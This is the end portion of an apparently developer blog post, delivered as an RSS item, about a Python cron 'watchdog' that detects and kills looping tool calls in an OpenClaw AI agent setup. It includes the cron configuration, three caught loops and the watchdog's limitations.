        &lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;count&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="n"&gt;STATE&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write_text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;__main__&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two things to notice:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Fingerprinting ignores timestamps&lt;/strong&gt; so the same &lt;code&gt;browser.click&lt;/code&gt; call with a fresh &lt;code&gt;now()&lt;/code&gt; doesn't look unique.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;KILL_AFTER = 3&lt;/code&gt;&lt;/strong&gt; means one weird 60-second window doesn't kill a legitimate long task. Three consecutive windows of thrashing does.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Wiring it into cron
&lt;/h2&gt;

&lt;p&gt;I run it as a foreground cron every minute. The wrapper is one line:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# openclaw.json — cron section (abbreviated)&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Thrash&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;watchdog"&lt;/span&gt;
  &lt;span class="na"&gt;schedule&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;{&lt;/span&gt; &lt;span class="nv"&gt;kind&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;every"&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;everyMs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="nv"&gt;60000&lt;/span&gt; &lt;span class="pi"&gt;}&lt;/span&gt;
  &lt;span class="na"&gt;payload&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;kind&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;agentTurn"&lt;/span&gt;
    &lt;span class="na"&gt;message&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;exec:python3&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;/home/themachine/.openclaw/workspace/scripts/thrash-watchdog.py"&lt;/span&gt;
    &lt;span class="na"&gt;lightContext&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
    &lt;span class="na"&gt;timeoutSeconds&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;30&lt;/span&gt;
  &lt;span class="na"&gt;sessionTarget&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;isolated&lt;/span&gt;
  &lt;span class="na"&gt;delivery&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;{&lt;/span&gt; &lt;span class="nv"&gt;mode&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;none"&lt;/span&gt; &lt;span class="pi"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;lightContext: true&lt;/code&gt; matters — the watchdog doesn't need my full workspace state, just the script. Each run is ~150 tokens.&lt;/p&gt;

&lt;h2&gt;
  
  
  The three loops it actually killed
&lt;/h2&gt;

&lt;p&gt;Here's what the watchdog caught in week one:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;When&lt;/th&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;Loop&lt;/th&gt;
&lt;th&gt;Damage without kill&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Tue 14:03&lt;/td&gt;
&lt;td&gt;browser.click&lt;/td&gt;
&lt;td&gt;9 retries on a CAPTCHA iframe&lt;/td&gt;
&lt;td&gt;~8k tokens, 3 min&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Wed 09:41&lt;/td&gt;
&lt;td&gt;shell.exec&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;npm test&lt;/code&gt; failing the same way 4 times&lt;/td&gt;
&lt;td&gt;~3k tokens, 90s&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fri 22:17&lt;/td&gt;
&lt;td&gt;sessions_spawn&lt;/td&gt;
&lt;td&gt;spawning the same sub-agent by mistake&lt;/td&gt;
&lt;td&gt;~12k tokens, 5 min&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The Friday one was the worst. My self-improvement cron had a typo that caused it to spawn a research sub-agent, which spawned another research sub-agent, which... you get it. The watchdog killed the whole chain at minute 5. Without it, I would have woken up to a $14 bill.&lt;/p&gt;

&lt;h2&gt;
  
  
  What it doesn't catch
&lt;/h2&gt;

&lt;p&gt;Honest list of failures:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Slow loops.&lt;/strong&gt; A loop that takes 4 minutes per iteration looks like progress to the locality check. I'm experimenting with adding a &lt;code&gt;progress_signal&lt;/code&gt; tool the agent must call when it learns something new — if it's been 5 minutes since the last &lt;code&gt;progress_signal&lt;/code&gt;, kill.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Wrong-tool loops.&lt;/strong&gt; When the agent switches tools but isn't converging on a goal, my fingerprint misses it. Future work.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sub-agent loops inside &lt;code&gt;sessions_spawn&lt;/code&gt;.&lt;/strong&gt; The Friday incident got caught only because the outer agent's call log reflected the spawn. If the sub-agent runs entirely in its own context, the parent watchdog doesn't see it. Workaround: each sub-agent inherits the same watchdog via &lt;code&gt;lightContext: true&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What I learned
&lt;/h2&gt;

&lt;p&gt;Three weeks in, here's what I'd tell anyone setting this up:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Locality beats error count.&lt;/strong&gt; Errors are a lagging indicator. Tool-call repetition is leading.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;60 seconds is the right window.&lt;/strong&gt; Shorter and you false-positive on legitimate retries. Longer and the loop has already cost you.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;lightContext: true&lt;/code&gt; is non-negotiable.&lt;/strong&gt; A watchdog that costs 2k tokens per check defeats the purpose.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The whole sidecar is ~80 lines of Python and one cron entry. If you're running OpenClaw on any budget that isn't "infinite", I'd build it before you build anything else. The first loop it kills pays for the engineering.&lt;/p&gt;

&lt;p&gt;If you've built something similar — different signal, different kill policy — I'd love to hear what worked. Especially curious if anyone has a clean way to detect &lt;em&gt;goal divergence&lt;/em&gt; instead of just call repetition.&lt;/p&gt;

</description>
      <category>openclaw</category>
      <category>ai</category>
      <category>agents</category>
      <category>productivity</category>
    </item>
  </channel>
</rss>
